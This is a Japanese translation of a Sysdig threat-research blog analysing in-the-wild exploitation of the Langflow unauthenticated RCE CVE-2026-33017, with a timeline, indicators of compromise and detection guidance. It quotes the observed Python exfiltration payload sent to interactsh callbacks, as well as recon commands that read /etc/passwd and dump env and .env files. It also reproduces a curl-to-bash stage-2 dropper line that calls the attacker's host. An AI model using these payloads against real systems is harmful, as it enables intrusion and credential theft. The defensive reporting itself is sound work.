< ブログ一覧に戻る

CVE-2026-33017:攻撃者が20時間でLangflowのAIパイプラインを侵害した方法

清水 孝郎
CVE-2026-33017:攻撃者が20時間でLangflowのAIパイプラインを侵害した方法
執筆者
清水 孝郎
@
CVE-2026-33017:攻撃者が20時間でLangflowのAIパイプラインを侵害した方法
Published:
March 19, 2026
この記事の内容
シスディグによるファルコフィード

Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

さらに詳しく
Green background with a circular icon on the left and three bullet points listing: Automatically detect threats, Eliminate rule maintenance, Stay compliant, with three black and white cursor arrows pointing at the text.

本文の内容は、2026年3月19日に Sysdig Threat Research Team が投稿したブログ(https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours) を元に日本語に翻訳・再構成した内容となっております。

2026年3月17日、AIエージェントおよびRetrieval-Augmented Generation(RAG)パイプラインを構築するためのオープンソースのビジュアルフレームワークであるLangflowにおいて、重大な脆弱性が公開されました。この脆弱性であるCVE-2026-33017は、公開フロービルドエンドポイントに存在する未認証のリモートコード実行(RCE)であり、認証情報を必要とせず、単一のHTTPリクエストだけで、公開されているあらゆるLangflowインスタンス上で任意のPythonコードを実行することを可能にします。

アドバイザリー公開から20時間以内に、Sysdig 脅威リサーチチーム(TRT)は実際の環境における最初の悪用試行を観測しました。当時、公開された概念実証(PoC)コードは存在していませんでした。攻撃者はアドバイザリーの記述から直接動作するエクスプロイトをビルドし、脆弱なインスタンスを求めてインターネット全体のスキャンを開始しました。流出した情報にはキーや認証情報が含まれており、これにより接続されたデータベースへのアクセスや、ソフトウェアサプライチェーンの侵害の可能性が生じました。

アドバイザリー公開から数時間以内に、Sysdig TRTは複数のクラウドプロバイダーおよびリージョンにわたり、脆弱なLangflowインスタンスを備えたハニーポットノード群を展開しました。その後に起きたのは、現代の脅威アクターが新たな脆弱性をいかに迅速に実用化するかを示す典型的な事例でした。以下に、我々の調査結果を詳述します。

タイムライン

時刻(UTC)

イベント

3月17日 20:05

アドバイザリ GHSA-vwmf-pq79-vjvx がGitHub上で公開

3月18日 16:04

最初の悪用試行を観測(77.110.106.154から)

3月18日 16:05

2人目の攻撃者(209.97.165.247)が探索を開始

3月18日 16:39

複数ノードにわたる継続的なスキャンが開始

3月18日 20:55

最初の高度な攻撃者が環境変数の流出へと進展

アドバイザリー公開から最初の悪用までの間隔は約20時間でした。これは、最初の攻撃時点ではGitHub上に公開されたPoCリポジトリが存在していなかったため、注目に値します。アドバイザリー自体に、攻撃者が追加の調査を行うことなく動作するエクスプロイトを構築するのに十分な詳細(脆弱なエンドポイントのパスおよびフローノード定義を介したコードインジェクションの仕組み)が含まれていました。

CVE-2026-33017 について

Langflowは人気のあるオープンソースプラットフォーム(GitHubスター数145,000以上)です。これは、ユーザーがビジュアルなドラッグ&ドロップインターフェースを使用してAIワークフローを構築できるようにするものです。LangflowはREST APIを提供しており、フローの構築や実行を含め、プログラムによる操作が可能です。

CVE-2026-33017は、未認証ユーザーが公開フローを構築できるよう設計されたPOST /api/v1/build_public_tmp/{flow_id}/flowendpointに影響を与えます。この脆弱性は、このエンドポイントがノード定義内に任意のPythonコードを含む攻撃者提供のフローデータを受け入れ、それがサンドボックス化されることなくサーバー側で実行されることに起因します。これは、2025年5月にCISAの既知の悪用脆弱性(KEV)カタログに追加された、Langflowの以前のRCEであるCVE-2025-3248とは異なります。CVE-2026-33017は、活発な悪用が確認されているにもかかわらず、まだKEVには追加されていません。

Sysdig TRTが観測した内容

アドバイザリ公開後48時間の間に、当社のハニーポット群において、6つの異なる送信元IPからのCVE-2026-33017のエクスプロイトイベントを記録しました。

フェーズ 1: 自動スキャン (20 ~ 21 時間)

最も初期の悪用試行は、自動化されたスキャン基盤からのものでした。4つの送信元IPがほぼ同時に到達し、すべて同一のペイロードを送信していました。これらは、4人の独立した攻撃者ではなく、単一のオペレーターが複数のプロキシまたはVPSノードを介してスキャンしていた可能性が高いと考えられます。

_r = __import__('os').popen('id').read()
_enc = __import__('base64').b64encode(_r.encode()).decode()
__import__('urllib.request').request.urlopen('http://<unique-subdomain>.oast.*//' + _enc)

このペイロードは id を実行し、その出力をbase64でエンコードし、interactshのコールバックサーバーに流出させます。各リクエストは一意のinteractshサブドメインを使用していますが、コードのテンプレートはすべてのIPで同一です。

16:04:57 UTC — 77.110.106.154 → id → d6tcpc6fl...oast.* callback
16:05:23 UTC — 209.97.165.247 → id → d6tcpcjhc...oast.* callback
16:08:41 UTC — 188.166.209.86 → id → d6tcpe7ns...oast.* callback
16:39:32 UTC — 205.237.106.117 → id → d6td5s9qt...oast.* callback

これらのリクエストは明示的に自身をnucleiとして識別しています。すべてのエクスプロイトリクエストのヘッダーにはCookie: client_id=nuclei-scannerが含まれており、その前段のフロー作成リクエストではフロー名がnuclei-cve-2026-33017となっています。

Cookie: client_id=nuclei-scanner
{"name": "nuclei-cve-2026-33017", "data": {"nodes": [], "edges": []}}

名前付きのエクスプロイトリクエストは、その他の特徴と併せて、スキャンツールとしてnucleiが使用されていることを示唆しています。

  • User-Agentのローテーション:あるIP(205.237.106.117)は、8回のリクエストにわたり7種類の異なるUser-Agent(UA)文字列を使用しており、その中にはKnoppix、Linux i686、Fedora、Linux i686が含まれていました。これらはnucleiのランダムなUser-Agentワードリストに含まれており、実際のブラウザから送信されるものではありません。
  • 同一のペイロードテンプレート:4つすべてのIPにわたるすべてのリクエストが、interactshのコールバックサブドメインのみが異なり、それ以外は同一のPythonコード構造を使用しており、{{interactsh-url}}プレースホルダーを使用するnucleiテンプレートと一致しています。

本稿執筆時点では、公式のnuclei-templatesリポジトリにCVE-2026-33017のテンプレートは存在していません。したがって、我々が特定したものは、公開から数時間以内に作成され大規模に展開された、個人的に作成されたテンプレートである可能性が高いと考えられます。このテンプレートの作成者がスキャンを実行している本人なのか、それとも他者にテンプレートを配布しているのかは、このデータだけでは不明です。

フェーズ 2: カスタムエクスプロイトスクリプト (21 ~ 24 時間)

nucleiによるスキャンとは対照的に、カスタムのPythonスクリプト(python-requests/2.32.3で、すべてのリクエストで一貫しており、UAのローテーションなし)を使用する第2の攻撃者群が現れました。これらのオペレーターは検証を超えて、積極的な偵察へと進みました。ある攻撃者(83.98.164.238)は、体系的なキルチェーンに沿って進行しました。

  1. ディレクトリリスティングと認証情報ファイル:ls -al /root; ls /app; cat /etc/passwd
  2. システムフィンガープリント:id(uid=1000(langflow)が返された)
  3. ステージ2 デリバリの試行:bash -c “$(curl -fsSL http://173.212.205.251:8443/z)”

ステージ2のドロッパーURL(http://173.212.205.251:8443/z)は、脆弱なターゲットを確認次第展開できるよう、攻撃者が事前にインフラを準備していたことを示しています。これは場当たり的なテストではありません。これは、脆弱性の検証からペイロードの展開へと単一のセッション内で移行する、準備されたエクスプロイトツールキットを持つ攻撃者です。

フェーズ 3: データ収集(24〜30時間)

最も高度な活動はIP 173.212.205.251からのもので、徹底的な認証情報収集操作が実行されました。

  • 環境変数のダンプ:envを実行してプロセス環境全体を取得しました。通常のLangflowのデプロイでは、これにはデータベース接続文字列、APIキー、クラウド認証情報が含まれます。
  • ファイルシステムの列挙:find /app -name “.db” -o -name “.env” を実行して、設定ファイルやデータベースを特定しました。
  • 特定ファイルの読み取り:アプリケーションのシークレットを含む.envファイルの内容を抽出しました。

共有インフラストラクチャー

カスタムのエクスプロイトスクリプトを実行していた2つの送信元IP(83.98.164.238および173.212.205.251)は、いずれも同じコマンド&コントロールサーバー(143.110.183.86:8080)にデータを流出させていました。ステージ2のドロッパーも173.212.205.251:8443でホストされていました。この重複は、単一のオペレーターが複数のプロキシまたはVPSノードを介して活動している可能性を示唆していますが、共有されたエクスプロイトツールキットを反映している可能性もあります。

防御側にとっての意味

アドバイザリー公開から最初の悪用までの20時間という期間は、Zero Day Clockプロジェクトが83,000件以上のCVEにわたって追跡している加速傾向と一致しています。データによると、悪用までの中央値(TTE)は2018年の771日から、2024年にはわずか数時間へと急激に短縮されています。2023年までには、悪用された脆弱性の44%が公開から24時間以内に武器化され、さらに80%の公開エクスプロイトは公式アドバイザリーが公開される前にすでに出現していました。我々が観測したCVE-2026-33017の事例は、この傾向に完全に合致しており、アドバイザリーの記述だけをもとに、1日以内に動作するエクスプロイトが作成されました。

このタイムラインの圧縮は、防御側にとって深刻な課題をもたらします。組織がパッチを適用するまでの中央値は約20日であり、その間、防御側は長期間にわたり露出し脆弱な状態に置かれます。脅威アクターは防御側と同じアドバイザリフィードを監視しており、多くの組織が評価、テスト、パッチ適用を行うよりも速くエクスプロイトを構築しています。組織は現実に対応するために、脆弱性管理プログラムを根本から見直す必要があります。

さらに、CVE-2026-33017が攻撃者にとって特に魅力的であった可能性のある要因はいくつか存在します。

  • 認証不要:脆弱なエンドポイントは設計上公開アクセス可能であり、大規模なスキャンが容易に自動化できます。
  • 単純な悪用:攻撃にはJSONペイロードを伴う単一のHTTP POSTリクエストのみが必要であり、複数段階のチェーン、セッション管理、CSRFトークンは不要です。
  • 大規模な攻撃対象領域:LangflowのGitHubスター数145,000以上は、多数の公開インスタンスの存在を意味します。その多くは、運用インフラと同じパッチ適用サイクルに従わない可能性のあるデータサイエンスチームによってデプロイされています。
  • 高価値ターゲットおよびソフトウェアサプライチェーン侵害:Langflowインスタンスは、OpenAI、Anthropic、AWS、およびデータベース接続のためのAPIキーで構成されています。1つのインスタンスを侵害することで、クラウドアカウントやデータストアへの横方向のアクセスが可能になります。

ランタイム検知

パッチ適用までの猶予時間が数時間にまで短縮されると、ランタイム検知が主要な防御手段となります。このキャンペーンで観測された悪用パターンは、システムコールレベルで明確なシグナルを生成し、FalcoやSysdig Secureのようなツールが、特定のCVEに関する事前知識なしでも検知できるよう設計されています。

このキャンペーンのすべての攻撃者は、同一の侵害後の手順に従っていました。すなわち、Pythonのos.popen()を介してシェルコマンドを実行し、その出力をHTTP経由で流出させるというものです。このキルチェーンの各段階は、Sysdig Secureに標準で付属する既存のFalcoルールに対応しています。

攻撃段階

観測された挙動

Sysdigルール

認証情報の窃取

/etc/passwd、/etc/shadow、.envの読み取り

Read sensitive file untrusted

OOB検証

.oast.live、.oastify.comへのDNSルックアップ

DNS Lookup for Offensive Security Tool Domain Detected

ステージ2 デリバリー

curl -fsSL http://attacker/z \| sh

Inline Shell Execution by Wget/Curl

C2へのデータ流出

143.110.183.86:8080へのアウトバウンド接続

Outbound Connection to C2 Servers

この文脈におけるランタイム検知の主な利点は、ゼロデイの段階で機能することです。これらのルールは、CVE-2026-33017に特化したシグネチャを必要としません。なぜなら、脆弱性そのものではなく、悪用の挙動を検知するためです。初期アクセスがCVE-2026-33017、CVE-2025-3248、またはアプリケーション内のその他のRCEによるものであっても、同じルールが発火します。

セキュリティ侵害の指標

ソース IP

IP

Location

ASN

Activity

77.110.106.154

DE (Frankfurt)

AEZA GROUP LLC

Nuclei scan, interactsh callback

209.97.165.247

SG (Singapore)

DigitalOcean

Nuclei scan, interactsh callback

188.166.209.86

SG (Singapore)

DigitalOcean

Nuclei scan, interactsh callback

205.237.106.117

FR (Paris)

PUSHPKT OU

Nuclei scan, interactsh callback

83.98.164.238

NL (Lelystad)

Accenture B.V.

Custom exploit, recon, stage-2 dropper delivery

173.212.205.251

FR (Lauterbourg)

Contabo GmbH

Custom exploit, env/credential harvesting, dropper host

C2 とステージングインフラストラクチャー

Indicator

Type

Location

Context

143.110.183.86:8080

C2 server

IN, DigitalOcean

Receives base64-encoded exfiltration

173.212.205.251:8443

Dropper host

FR, Contabo GmbH

Serves stage-2 payload at /z

ドロッパー URL

http://143.110.183.86:8080/
http://173.212.205.251:8443/z

Interactshのコールバックドメイン

nucleiによるスキャン活動全体で、.oast.live、.oast.me、.oast.pro、.oast.funのTLDを使用した12個の一意のinteractshサブドメインが観測されました。以下にその一例を示します。

d6tcpc6flblph01gdcb0ku9ixih393m54.oast.live
d6tcpe7nsv6kk9rdrpggi37zmjfxw9imr.oast.me
d6td5s9qte0bea7273e0wuou77jjx77uk.oast.pro
d6tgbe1qte0a8rkffb3gqabqm8517exd3.oast.fun

注:送信元IPは、実際のオペレーターの発信元ではなく、プロキシやVPSノードである可能性があります。interactshのサブドメインは一時的なものであり、スキャンごとにローテーションされます。

推奨事項

  • Langflowを直ちに更新してください。パッチ適用済みバージョンがまだ利用できない場合は、/api/v1/build_public_tmpエンドポイントへのネットワークアクセスを制限するか、公開フローの構築機能を完全に無効化してください。
  • 公開されているLangflowインスタンス上の環境変数およびシークレットを監査してください。予防措置として、APIキー、データベースパスワード、クラウド認証情報をローテーションしてください。
  • 異常なポートや既知のコールバックサービス(oastify.com、interact.sh、dnslog.cn)へのアウトバウンド接続を監視してください。これらは、進行中の悪用およびデータ流出を示します。
  • ファイアウォールルールまたは認証機能を備えたリバースプロキシを使用して、Langflowインスタンスへのネットワークアクセスを制限してください。Langflowは認証レイヤーなしでインターネットに直接公開すべきではありません。
  • 環境内のAI/MLツールを棚卸ししてください。Langflow、n8n、その他のワークフロー自動化ツールのようなプラットフォームは、広範なAPIアクセス権を持って動作し、標準的なセキュリティレビューのプロセス外でデプロイされることが多いため、ますます標的とされています。

まとめ

脅威アクターが動作するエクスプロイトを構築するのに十分な情報を提供したCVE-2026-33017は、もはや例外ではなく常態となりつつあるパターンを示しています。すなわち、人気のあるオープンソースツールにおける重大な脆弱性は、公開から数時間以内に武器化されるようになっており、多くの場合、公開されたPoCコードが利用可能になる前にすら悪用されます。さらに、AIワークロードは、高価値のデータ、ソフトウェアサプライチェーンへのアクセス、そして堅牢なセキュリティが欠如していることが多いという理由から、ますます脅威アクターの標的となっています。Zero Day Clockが示す通り、これは例外的な事例ではありません。数か月単位の悪用タイムラインから当日中の武器化への移行は、今日の脆弱性悪用の在り方における構造的な変化です。

防御側にとっての実践的な教訓は、「アドバイザリー公開」から「実際の悪用」までの猶予が、もはや数日や数週間ではなく、数時間単位で測られるという点です。重大な脆弱性に対処するために定期的なパッチ適用サイクルに依存している組織は、すでに攻撃者に追い越されたタイムラインで運用しています。開示から修復までのギャップを埋めるためには、ランタイム検知、ネットワーク分離、および迅速な対応能力が不可欠です。

About the author

Cloud Security
Cloud detection & response

セキュリティの専門家と一緒に、クラウド防御の最適な方法を探索しよう